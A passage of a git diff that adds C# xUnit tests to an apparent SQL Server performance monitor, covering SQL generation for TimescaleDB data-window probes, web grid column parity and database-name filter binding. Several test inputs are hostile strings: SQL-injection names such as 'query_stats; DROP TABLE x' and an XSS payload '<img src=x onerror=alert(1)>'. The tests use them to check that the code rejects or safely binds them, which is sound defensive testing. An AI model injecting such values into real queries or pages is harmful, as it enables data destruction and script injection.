+        Assert.Contains("WHERE (w.t IS NOT NULL)", rollup, StringComparison.Ordinal);
+        Assert.DoesNotContain("collection_log", rollup, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TwoSources_AreProbedSideBySide_AndTheOldestWins()
+    {
+        Assert.True(DataWindowFloor.Source.TryForRollup(TimescaleSupport.QueryStatsHourlyView, out var legacy));
+        Assert.True(DataWindowFloor.Source.TryForRollup(TimescaleSupport.QueryStatsIntervalHourlyView, out var successor));
+
+        var sql = DataWindowFloor.FloorSql([legacy, successor], DataWindowFloor.Scope.Fleet);
+
+        Assert.StartsWith("SELECT MIN(u.t)", sql, StringComparison.Ordinal);
+        Assert.Contains("FROM collect." + TimescaleSupport.QueryStatsHourlyView + " AS f", sql, StringComparison.Ordinal);
+        Assert.Contains("FROM collect." + TimescaleSupport.QueryStatsIntervalHourlyView + " AS f", sql, StringComparison.Ordinal);
+        Assert.Contains("UNION ALL", sql, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("waiting_tasks", true)]
+    [InlineData("query_snapshots", true)]
+    [InlineData("wait_stats", true)]
+    [InlineData("plan_correction", true)]
+    [InlineData("index_object_stats", false)]
+    [InlineData("server_config", true)]
+    [InlineData("database_config", true)]
+    [InlineData("collection_log", false)]
+    [InlineData("query_stats; DROP TABLE x", false)]
+    [InlineData("not_a_table", false)]
+    public void CollectorTables_AreProbedOnlyWhenTheProbeCanReadThemBoundedByTheWindow(string table, bool accepted)
+    {
+        Assert.Equal(accepted, DataWindowFloor.Source.TryForCollectorTable(table, out _));
+    }
+
+    /// <summary>
+    /// The two config snapshot tables have no index, so the probe never walks them: it reads only the window's rows
+    /// (the window's lower bound lets TimescaleDB leave every other chunk alone). The edge is the schedule's, 30 days
+    /// with a fleet override winning, like any collector the schedule governs; a row older than the edge moves the
+    /// answer earlier (<c>LEAST(coverage, w.t)</c>), so the answer is never later than a row the config grids show;
+    /// and a logged run of the config collector counts the server, since a snapshot is written once a day.
+    /// </summary>
+    [Theory]
+    [InlineData("server_config", "capture_time")]
+    [InlineData("database_config", "capture_time")]
+    public void AConfigSnapshotTable_TakesItsEdgeFromTheSchedule_AndReadsOnlyTheWindow(string table, string timeColumn)
+    {
+        var source = DataWindowFloor.Source.ForCollectorTable(table);
+        Assert.Equal(30, source.RetentionDefaultDays);
+        Assert.Equal(table, source.CollectorName);
+
+        var sql = DataWindowFloor.FloorSql([source], DataWindowFloor.Scope.ServerId);
+
+        Assert.Contains(
+            $"GREATEST($3 - make_interval(days => COALESCE((SELECT o.retention_days FROM config.config_collector_schedules AS o WHERE o.server_id IS NULL AND lower(o.collector_name) = '{table}' AND o.retention_days >= 1 LIMIT 1), 30)), s.created_date)",
+            sql, StringComparison.Ordinal);
+        Assert.Contains($"FROM collect.{table} AS f", sql, StringComparison.Ordinal);
+        Assert.Contains($"AND   f.{timeColumn} >= $2", sql, StringComparison.Ordinal);
+        Assert.Contains($"AND   f.{timeColumn} <= $1", sql, StringComparison.Ordinal);
+        Assert.Contains(", w.t) AS t", sql, StringComparison.Ordinal);
+        Assert.Contains($"c.collector_name = '{table}' AND c.collection_time >= $2 AND c.collection_time <= $1", sql, StringComparison.Ordinal);
+
+        /* No walk to the table's oldest chunk: every read of the table carries the window's bounds. */
+        Assert.DoesNotContain(" AS h", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The run log keeps its own horizon, a fixed 60 days no schedule row moves, so its edge is that constant and not
+    /// a schedule lookup. It has no collector whose runs it could log, so a server counts by its own rows in the
+    /// window, and the window read rides the log's <c>(server_id, collection_time)</c> index.
+    /// </summary>
+    [Fact]
+    public void TheCollectionLog_TakesItsEdgeFromItsOwnHorizon_AndCountsAServerByItsRows()
+    {
+        var source = DataWindowFloor.Source.ForCollectionLog();
+        Assert.Null(source.CollectorName);
+        Assert.Equal(DarlingRetentionHorizons.CollectionLogRetentionDays, source.RetentionDefaultDays);
+
+        var sql = DataWindowFloor.FloorSql([source], DataWindowFloor.Scope.ServerId);
+
+        Assert.Contains(
+            $"GREATEST($3 - make_interval(days => {DarlingRetentionHorizons.CollectionLogRetentionDays}), s.created_date)",
+            sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("config_collector_schedules", sql, StringComparison.Ordinal);
+        Assert.Contains("FROM collect.collection_log AS f", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   f.collection_time >= $2", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   f.collection_time <= $1", sql, StringComparison.Ordinal);
+        Assert.Contains(", w.t) AS t", sql, StringComparison.Ordinal);
+        Assert.Contains("WHERE (w.t IS NOT NULL)", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("OR EXISTS", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain(" AS h", sql, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("query_stats_hourly", true)]
+    [InlineData("query_store_stats_corrected_daily", true)]
+    [InlineData("wait_stats", false)]
+    [InlineData("query_stats_hourly; DROP TABLE x", false)]
+    [InlineData("", false)]
+    public void Rollups_AreProbedOnlyWhenTheRegistryKnowsThem(string view, bool accepted)
+    {
+        Assert.Equal(accepted, DataWindowFloor.Source.TryForRollup(view, out _));
+    }
+
+    /// <summary>Every rollup a Custom Views panel can be routed to is one the probe accepts, so no rollup-routed
+    /// panel goes without a start.</summary>
+    [Fact]
+    public void EveryRollupAPanelCanRead_IsOneTheProbeAccepts()
+    {
+        foreach (var table in new[] { "query_stats", "procedure_stats", "query_store_stats" })
+        {
+            var info = ComposeCaggCatalog.For(table)!;
+            var names = new[] { info.HourlyView, info.DailyView, info.LegacyHourlyView, info.LegacyDailyView, info.DayGrainDailyView }
+                .Where(n => n is not null)
+                .Select(n => n!)
+                .ToList();
+            names.AddRange(names.Select(TimescaleSupport.SuccessorOf).Where(n => n is not null).Select(n => n!).ToList());
+            names.AddRange(TimescaleSupport.SupersededDailyRollups
+                .Where(p => names.Contains(p.LegacyDaily))
+                .Select(p => p.SuccessorDaily)
+                .ToList());
+
+            foreach (var name in names.Distinct())
+            {
+                Assert.True(DataWindowFloor.Source.TryForRollup(name, out _), name + " is a rollup a panel can read, but the probe refuses it");
+            }
+        }
+    }
+
+    [Fact]
+    public void ARawRoute_ProbesItsSourceTable()
+    {
+        var sources = ComposeStoreAvailability.DataStartSources("waiting_tasks", ComposeRoute.Raw);
+
+        Assert.Equal("waiting_tasks", Assert.Single(sources).Relation);
+    }
+
+    [Fact]
+    public void ARawRoute_OverATableTheProbeCannotRead_ProbesNothing()
+    {
+        Assert.Empty(ComposeStoreAvailability.DataStartSources("index_object_stats", ComposeRoute.Raw));
+    }
+
+    [Fact]
+    public void ARollupRoute_ProbesTheRollupItRead()
+    {
+        var route = new ComposeRoute(
+            ComposeSourceTier.Hourly, TimescaleSupport.QueryStatsHourlyView, "collect." + TimescaleSupport.QueryStatsHourlyView + " AS f");
+
+        var source = Assert.Single(ComposeStoreAvailability.DataStartSources("query_stats", route));
+
+        Assert.Equal(TimescaleSupport.QueryStatsHourlyView, source.Relation);
+        Assert.Equal("bucket", source.TimeColumn);
+        Assert.True(source.EndExclusive);
+    }
+
+    /// <summary>A route that stitches a superseded rollup to its successor reads both, so both are probed.</summary>
+    [Fact]
+    public void AStitchedRollupRoute_ProbesBothHalves()
+    {
+        var from = "(SELECT bucket, server_id FROM collect." + TimescaleSupport.QueryStatsHourlyView
+            + " WHERE bucket < TIMESTAMP '2026-09-01 00:00:00.000000' UNION ALL SELECT bucket, server_id FROM collect."
+            + TimescaleSupport.QueryStatsIntervalHourlyView + " WHERE bucket >= TIMESTAMP '2026-09-01 00:00:00.000000') AS f";
+        var route = new ComposeRoute(ComposeSourceTier.Hourly, TimescaleSupport.QueryStatsIntervalHourlyView, from);
+
+        var relations = ComposeStoreAvailability.DataStartSources("query_stats", route).Select(s => s.Relation).ToArray();
+
+        Assert.Equal(new[] { TimescaleSupport.QueryStatsHourlyView, TimescaleSupport.QueryStatsIntervalHourlyView }, relations);
+    }
+
+    [Fact]
+    public void TheNotice_NamesTheStartAndTheWindowItCovers_InUtc()
+    {
+        var notice = ComposeStoreAvailability.BuildDataStartNotice(
+            new DateTime(2026, 9, 25, 14, 2, 0, DateTimeKind.Utc),
+            new DateTime(2026, 9, 2, 14, 0, 0, DateTimeKind.Utc),
+            new DateTime(2026, 10, 2, 14, 0, 0, DateTimeKind.Utc));
+
+        Assert.Equal(
+            "partial window: this panel's data starts at 2026-09-25 14:02 UTC, after the window's start at 2026-09-02 14:00 UTC. "
+                + "The panel covers 2026-09-25 14:02 to 2026-10-02 14:00 UTC.",
+            notice);
+    }
+
+    /// <summary>A relation the panel reads only from an instant up (the successor half of a stitched read) starts both
+    /// its window read and its walk there, with the instant a bind parameter numbered after the scope's, never a
+    /// literal. A relation read whole keeps the text it had.</summary>
+    [Fact]
+    public void ALowerBound_StartsTheWindowReadAndTheWalk_AsABindParameter()
+    {
+        var bound = new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Unspecified);
+        Assert.True(DataWindowFloor.Source.TryForRollup(TimescaleSupport.QueryStatsHourlyView, out var legacy));
+        Assert.True(DataWindowFloor.Source.TryForRollup(TimescaleSupport.QueryStatsIntervalHourlyView, out var successor, bound));
+        Assert.Null(legacy.LowerBoundUtc);
+        Assert.Equal(bound, successor.LowerBoundUtc);
+
+        var fleet = DataWindowFloor.FloorSql([legacy, successor], DataWindowFloor.Scope.Fleet);
+
+        Assert.Contains("AND   f.bucket >= $4\n", fleet, StringComparison.Ordinal);
+        Assert.Contains(
+            $"FROM collect.{TimescaleSupport.QueryStatsIntervalHourlyView} AS h WHERE h.server_id = s.server_id AND h.bucket < $1 AND h.bucket >= $4 ORDER BY h.bucket LIMIT 1",
+            fleet, StringComparison.Ordinal);
+        Assert.Contains(
+            $"FROM collect.{TimescaleSupport.QueryStatsHourlyView} AS h WHERE h.server_id = s.server_id AND h.bucket < $1 ORDER BY h.bucket LIMIT 1",
+            fleet, StringComparison.Ordinal);
+        Assert.DoesNotContain("2026-09-01", fleet, StringComparison.Ordinal);
+        Assert.DoesNotContain("$5", fleet, StringComparison.Ordinal);
+
+        var scoped = DataWindowFloor.FloorSql([legacy, successor], DataWindowFloor.Scope.ServerNames);
+        Assert.Contains("AND   f.bucket >= $5\n", scoped, StringComparison.Ordinal);
+        Assert.Contains("AND h.bucket >= $5 ORDER BY", scoped, StringComparison.Ordinal);
+        Assert.DoesNotContain("$6", scoped, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SeveralLowerBounds_AreNumberedAfterTheScope_InSourceOrder()
+    {
+        var bound = new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Unspecified);
+        Assert.True(DataWindowFloor.Source.TryForRollup(TimescaleSupport.QueryStatsIntervalHourlyView, out var first, bound));
+        Assert.True(DataWindowFloor.Source.TryForRollup(TimescaleSupport.QueryStatsDbIntervalHourlyView, out var second, bound));
+
+        var sql = DataWindowFloor.FloorSql([first, second], DataWindowFloor.Scope.ServerId);
+
+        Assert.Contains("AND   s.server_id = $4", sql, StringComparison.Ordinal);
+        Assert.True(sql.IndexOf("f.bucket >= $5", StringComparison.Ordinal) < sql.IndexOf("f.bucket >= $6", StringComparison.Ordinal));
+        Assert.Contains("h.bucket >= $5 ORDER BY", sql, StringComparison.Ordinal);
+        Assert.Contains("h.bucket >= $6 ORDER BY", sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>A stitched route reads the superseded half below the boundary and the successor from it up, so the
+    /// probe reads the successor from the boundary up and the superseded half whole, on both tiers, whichever order
+    /// the clause lists them in: the successor is the one the registry names, and the boundary is the route's value.</summary>
+    [Fact]
+    public void AStitchedRoute_ProbesTheSuccessorFromTheBoundaryUp_AndTheSupersededHalfWhole()
+    {
+        var boundary = new DateTime(2026, 9, 1, 0, 0, 0, DateTimeKind.Unspecified);
+        var pairs = new[]
+        {
+            (Legacy: TimescaleSupport.QueryStatsHourlyView, Successor: TimescaleSupport.QueryStatsIntervalHourlyView, Tier: ComposeSourceTier.Hourly),
+            (Legacy: TimescaleSupport.QueryStatsDailyView, Successor: TimescaleSupport.QueryStatsIntervalDailyView, Tier: ComposeSourceTier.Daily),
+        };
+
+        foreach (var pair in pairs)
+        {
+            foreach (var order in new[] { new[] { pair.Legacy, pair.Successor }, new[] { pair.Successor, pair.Legacy } })
+            {
+                var from = "(SELECT bucket FROM collect." + order[0] + " WHERE bucket < TIMESTAMP '2026-09-01 00:00:00.000000' UNION ALL SELECT bucket FROM collect."
+                    + order[1] + " WHERE bucket >= TIMESTAMP '2026-09-01 00:00:00.000000') AS f";
+                var route = new ComposeRoute(pair.Tier, pair.Legacy, from, boundary);
+
+                var sources = ComposeStoreAvailability.DataStartSources("query_stats", route).ToDictionary(s => s.Relation, StringComparer.Ordinal);
+
+                Assert.Equal(2, sources.Count);
+                Assert.Null(sources[pair.Legacy].LowerBoundUtc);
+                Assert.Equal(boundary, sources[pair.Successor].LowerBoundUtc);
+            }
+        }
+    }
+
+    [Fact]
+    public void AnUnstitchedRollupRoute_ProbesItsRollupWhole()
+    {
+        var route = new ComposeRoute(
+            ComposeSourceTier.Hourly, TimescaleSupport.QueryStatsIntervalHourlyView, "collect." + TimescaleSupport.QueryStatsIntervalHourlyView + " AS f");
+
+        Assert.Null(Assert.Single(ComposeStoreAvailability.DataStartSources("query_stats", route)).LowerBoundUtc);
+    }
+
+    /// <summary>The router sets the FROM clause on every rollup route it builds, so a rollup route without one is a
+    /// router defect: the probe refuses it rather than guess which relation the panel read.</summary>
+    [Fact]
+    public void ARollupRouteWithoutAFromClause_IsRefused()
+    {
+        var route = new ComposeRoute(ComposeSourceTier.Hourly, TimescaleSupport.QueryStatsIntervalHourlyView);
+
+        Assert.Throws<ArgumentException>(() => ComposeStoreAvailability.DataStartSources("query_stats", route));
+    }
+}
diff --git a/Darling/Darling.Tests/DatabaseConfigWebColumnsTests.cs b/Darling/Darling.Tests/DatabaseConfigWebColumnsTests.cs
new file mode 100644
index 0000000000..aed3c0e491
--- /dev/null
+++ b/Darling/Darling.Tests/DatabaseConfigWebColumnsTests.cs
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the web Configuration tab's Database Configuration grid and Scoped Configuration table: the grid shows
+/// the desktop grid's columns in its order and wording, every one of them is a key get_database_config emits,
+/// and the scoped table reads get_database_scoped_config.
+/// </summary>
+public sealed class DatabaseConfigWebColumnsTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js")
+            .ReplaceLineEndings("\n");
+
+    private static string Block(string source, string start)
+    {
+        var from = source.IndexOf(start, StringComparison.Ordinal);
+        Assert.True(from >= 0, start);
+        return source[from..source.IndexOf("\n];", from, StringComparison.Ordinal)];
+    }
+
+    private static string[] Labels(string block) =>
+        Regex.Matches(block, "label: \"([^\"]+)\"").Select(m => m.Groups[1].Value).ToArray();
+
+    private static string[] Keys(string block) =>
+        Regex.Matches(block, "key: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToArray();
+
+    [Fact]
+    public void TheDatabaseGrid_HasTheDesktopGridsColumns_InItsOrderAndWording()
+    {
+        var expected = new[]
+        {
+            "Database", "State", "Compat Level", "Collation", "Recovery Model", "Read Only", "RCSI", "Snapshot Isolation",
+            "Auto Create Stats", "Auto Update Stats", "Async Stats Update", "Forced Parameterization", "Query Store",
+            "Encrypted", "Trustworthy", "DB Chaining", "Broker", "CDC", "Mixed Pages", "Log Reuse Wait", "Auto Close",
+            "Auto Shrink", "Page Verify", "Target Recovery (s)", "Delayed Durability", "ADR", "Memory Optimized",
+            "Optimized Locking",
+        };
+        Assert.Equal(expected, Labels(Block(Tab(), "const DB_CONFIG_COLUMNS = [")));
+
+        /* The desktop headers are the source of the wording: every label above must appear there. */
+        var xaml = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml");
+        var grid = xaml[xaml.IndexOf("x:Name=\"DatabaseConfigGrid\"", StringComparison.Ordinal)..];
+        grid = grid[..grid.IndexOf("</DataGrid>", StringComparison.Ordinal)];
+        var desktop = Regex.Matches(grid, "TextBlock Text=\"([^\"]+)\"").Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(expected, desktop.Where(h => h != "Collected").ToArray());
+    }
+
+    [Fact]
+    public void EveryDatabaseGridKey_IsEmittedByGetDatabaseConfig()
+    {
+        var tool = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpConfigTools.cs");
+        var start = tool.IndexOf("internal static async Task<string> GetDatabaseConfig(", StringComparison.Ordinal); // #5245: the body moved into the DatabaseFilter overload
+        var slice = tool[start..tool.IndexOf("get_trace_flags", start, StringComparison.Ordinal)];
+        var keys = Keys(Block(Tab(), "const DB_CONFIG_COLUMNS = ["));
+        Assert.Equal(28, keys.Length);
+        foreach (var key in keys)
+            Assert.Matches("\\b" + key + " = r\\.", slice);
+    }
+
+    [Fact]
+    public void TheScopedConfigTable_ReadsGetDatabaseScopedConfig_WithTheDesktopColumns()
+    {
+        var tab = Tab();
+        Assert.Contains("readTool(\"get_database_scoped_config\", { server })", tab, StringComparison.Ordinal);
+        Assert.Contains("scopedConfigPanel(server),", tab, StringComparison.Ordinal);
+        var cols = Block(tab, "const SCOPED_CONFIG_COLUMNS = [");
+        Assert.Equal(new[] { "Database", "Setting", "Value", "Value for Secondary", "Collected" }, Labels(cols));
+        Assert.Equal(new[] { "database_name", "name", "value", "value_for_secondary", "captured_at" }, Keys(cols));
+        Assert.Contains("captured_at: res.data.captured_at", tab, StringComparison.Ordinal);
+    }
+}
+
+/// <summary>Live parity: get_database_config's 8 added fields equal the store row's, from a seed whose values differ per field.</summary>
+[Collection("live-postgres")]
+public sealed class DatabaseConfigAddedFieldsLiveTests
+{
+    private const string ServerName = "darling-dbconfig-added-fields";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public async Task TheAddedFields_EqualTheStoreRow()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live database-config parity test.");
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var ok = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var when = DarlingMcpTestData.TruncateToSeconds(DateTime.UtcNow).AddMinutes(-2);
+            /* Each of the 8 flags differs from its neighbours so a swapped mapping shows. */
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO database_config (config_id, capture_time, server_id, server_name, database_name, state_desc, compatibility_level, collation_name, recovery_model,
+    is_read_only, is_auto_close_on, is_auto_shrink_on, is_auto_create_stats_on, is_auto_update_stats_on, is_auto_update_stats_async_on,
+    is_read_committed_snapshot_on, snapshot_isolation_state, is_parameterization_forced, is_query_store_on, is_encrypted, is_trustworthy_on,
+    is_db_chaining_on, is_broker_enabled, is_cdc_enabled, is_mixed_page_allocation_on, log_reuse_wait_desc, page_verify_option,
+    target_recovery_time_seconds, delayed_durability, is_accelerated_database_recovery_on, is_memory_optimized_enabled, is_optimized_locking_on)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32)",
+                CollectionIdGenerator.Next(), when, ServerId, ServerName, "SeedDb", "ONLINE", 160, "Latin1_General_100_CI_AS", "FULL",
+                true, false, false, true, true, false,
+                true, "OFF", false, true, false, true,
+                false, true, true, false, "NOTHING", "CHECKSUM",
+                60, "DISABLED", false, true, false);
+
+            var json = await DarlingMcpConfigTools.GetDatabaseConfig(postgres, ServerName);
+            using var doc = JsonDocument.Parse(json);
+            var row = doc.RootElement.GetProperty("databases").EnumerateArray().Single();
+
+            var stored = (await DarlingCurrentConfigReader.GetLatestDatabaseConfigAsync(postgres, ServerId, ct)).Rows.Single();
+            Assert.Equal(stored.CollationName, row.GetProperty("collation").GetString());
+            Assert.Equal(stored.IsReadOnly, row.GetProperty("read_only").GetBoolean());
+            Assert.Equal(stored.IsTrustworthyOn, row.GetProperty("trustworthy").GetBoolean());
+            Assert.Equal(stored.IsDbChainingOn, row.GetProperty("db_chaining").GetBoolean());
+            Assert.Equal(stored.IsBrokerEnabled, row.GetProperty("broker_enabled").GetBoolean());
+            Assert.Equal(stored.IsCdcEnabled, row.GetProperty("cdc_enabled").GetBoolean());
+            Assert.Equal(stored.IsMixedPageAllocationOn, row.GetProperty("mixed_page_allocation").GetBoolean());
+            Assert.Equal(stored.IsMemoryOptimizedEnabled, row.GetProperty("memory_optimized").GetBoolean());
+
+            /* The seed itself, so the parity above cannot pass on two equal defaults. */
+            Assert.Equal("Latin1_General_100_CI_AS", row.GetProperty("collation").GetString());
+            Assert.True(row.GetProperty("read_only").GetBoolean());
+            Assert.True(row.GetProperty("trustworthy").GetBoolean());
+            Assert.False(row.GetProperty("db_chaining").GetBoolean());
+            Assert.True(row.GetProperty("broker_enabled").GetBoolean());
+            Assert.True(row.GetProperty("cdc_enabled").GetBoolean());
+            Assert.False(row.GetProperty("mixed_page_allocation").GetBoolean());
+            Assert.True(row.GetProperty("memory_optimized").GetBoolean());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, ok, async (cleanup, cleanupCt) => await DeleteAsync(cleanup, cleanupCt));
+        }
+    }
+
+    private static async Task DeleteAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
+    {
+        using var cmd = new NpgsqlCommand(
+            $"DELETE FROM database_config WHERE server_id = {ServerId}; DELETE FROM servers WHERE server_id = {ServerId};", connection);
+        await cmd.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/DatabaseFilterBindingLiveTests.cs b/Darling/Darling.Tests/DatabaseFilterBindingLiveTests.cs
new file mode 100644
index 0000000000..0230c96e4c
--- /dev/null
+++ b/Darling/Darling.Tests/DatabaseFilterBindingLiveTests.cs
@@ -0,0 +1,107 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class reads no relation of the shared database. It only connects to run a SELECT over
+   its own unnest() rows, so it cannot race the live classes that seed and clean the shared store. */
+
+/// <summary>
+/// #5245: the six awkward database names the web filter has to carry bind through <see cref="DatabaseFilter.Parameter"/>
+/// as ONE <c>text[]</c>, and <c>= ANY</c> matches each of them exactly, and nothing else. The names are the ones a
+/// naive splice, a comma split or a trim would get wrong: a comma, a closing bracket, a leading space, a quote, a
+/// percent sign with a plus, and a markup tag. Each is surrounded by near-miss decoys (the comma's halves, the
+/// trimmed form, a different case) that a lossy binding would also match. Skipped without <c>DARLING_TEST_PG</c>.
+/// </summary>
+public sealed class DatabaseFilterBindingLiveTests
+{
+    /// <summary>The six awkward names, kept exactly as a user could type them.</summary>
+    private static readonly string[] AwkwardNames =
+    [
+        "A,B",
+        "x]",
+        " SalesDb",
+        "O'Brien",
+        "50%+off",
+        "<img src=x onerror=alert(1)>",
+    ];
+
+    /// <summary>Names that are close to an awkward one and must never match it.</summary>
+    private static readonly string[] Decoys =
+    [
+        "A", "B", "a,b", "A, B", "x", "x[", "SalesDb", "salesdb", "  SalesDb", "OBrien", "O''Brien", "o'brien",
+        "50", "50%", "50 off", "<img src=x>", "Other",
+    ];
+
+    /// <summary>One row per name, awkward and decoy alike, read through the filter's own clause.</summary>
+    private const string Sql = "SELECT t.v FROM (SELECT unnest($2::text[]) AS v) AS t WHERE TRUE";
+
+    [Fact]
+    public async Task EachAwkwardName_BindsInOneTextArray_AndMatchesItselfExactly_AndNothingElse()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live #5245 binding test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var source = NpgsqlDataSource.Create(connectionString!);
+        var universe = AwkwardNames.Concat(Decoys).ToArray();
+
+        /* All six together: ONE text[] parameter, the six names back, no decoy. */
+        var all = DatabaseFilter.Of(AwkwardNames);
+        Assert.Equal(AwkwardNames, all.Names);
+        var parameter = all.Parameter();
+        Assert.Equal(NpgsqlDbType.Array | NpgsqlDbType.Text, parameter.NpgsqlDbType);
+        Assert.Equal(AwkwardNames, Assert.IsType<string[]>(parameter.Value));
+        Assert.Equal(AwkwardNames.OrderBy(n => n, StringComparer.Ordinal).ToArray(),
+            (await MatchAsync(source, universe, all, ct)).OrderBy(n => n, StringComparer.Ordinal).ToArray());
+
+        /* Each name alone matches itself and only itself. */
+        foreach (var name in AwkwardNames)
+        {
+            var one = DatabaseFilter.One(name);
+            Assert.Equal(new[] { name }, one.Names);
+            Assert.Equal(new[] { name }, await MatchAsync(source, universe, one, ct));
+        }
+
+        /* A selection of only decoys never matches an awkward name, and the empty selection (SQL NULL) is every row. */
+        Assert.Equal(new[] { "A" }, await MatchAsync(source, universe, DatabaseFilter.One("A"), ct));
+        Assert.Equal(universe.OrderBy(n => n, StringComparer.Ordinal).ToArray(),
+            (await MatchAsync(source, universe, DatabaseFilter.All, ct)).OrderBy(n => n, StringComparer.Ordinal).ToArray());
+    }
+
+    /// <summary>
+    /// Runs <c>t.v = ANY(filter)</c> over <paramref name="universe"/> with the filter's real clause and parameter. $1 is
+    /// the filter; $2 carries the rows to test, bound as its own text[] so the only thing under test is the filter.
+    /// </summary>
+    private static async Task<string[]> MatchAsync(NpgsqlDataSource source, string[] universe, DatabaseFilter filter, System.Threading.CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(Sql + filter.Clause("t.v", 1));
+        command.Parameters.Add(filter.Parameter());
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = universe });
+        Assert.Equal(2, command.Parameters.Count);
+
+        var found = new List<string>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            found.Add(reader.GetString(0));
+        }
+
+        return found.ToArray();
+    }
+}
diff --git a/Darling/Darling.Tests/DatabaseFilterEmptyAnswerLiveTests.cs b/Darling/Darling.Tests/DatabaseFilterEmptyAnswerLiveTests.cs
new file mode 100644
index 0000000000..18390d2625
--- /dev/null
+++ b/Darling/Darling.Tests/DatabaseFilterEmptyAnswerLiveTests.cs
@@ -0,0 +1,157 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5244 PR4 review round 2 (L3 and L2), run against a store. L3: a long-query answer that a filter emptied says the
+/// chosen databases had no long queries when the store holds long-query rows for the server in the window, and keeps the
+/// opt-in sentence only when the store holds none. L2: every answer shape of the six tools that take <c>database_name</c>,
+/// <c>not_collected</c> and <c>precondition</c> included, echoes it (the name for one database, "the chosen databases"
+/// for two or more, null for all).
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DatabaseFilterEmptyAnswerLiveTests
+{
+    private const string Cleanup =
+        "DELETE FROM long_query_completions WHERE server_id = {0}; DELETE FROM collection_log WHERE server_id = {0}; " +
+        "DELETE FROM query_stats WHERE server_id = {0}; DELETE FROM procedure_stats WHERE server_id = {0}; " +
+        "DELETE FROM query_store_stats WHERE server_id = {0}; DELETE FROM query_store_health WHERE server_id = {0}";
+
+    private static string Message(string json) => JsonDocument.Parse(json).RootElement.GetProperty("message").GetString()!;
+
+    private static string? Echo(string json)
+    {
+        var root = JsonDocument.Parse(json).RootElement;
+        Assert.True(root.TryGetProperty("database_name", out var echo), "no database_name key in: " + json);
+        return echo.ValueKind == JsonValueKind.Null ? null : echo.GetString();
+    }
+
+    [Fact]
+    public Task LongQueryEmpty_UnderAFilter_BlamesTheOptInSwitch_OnlyWhenTheStoreHoldsNoLongQueryRows() =>
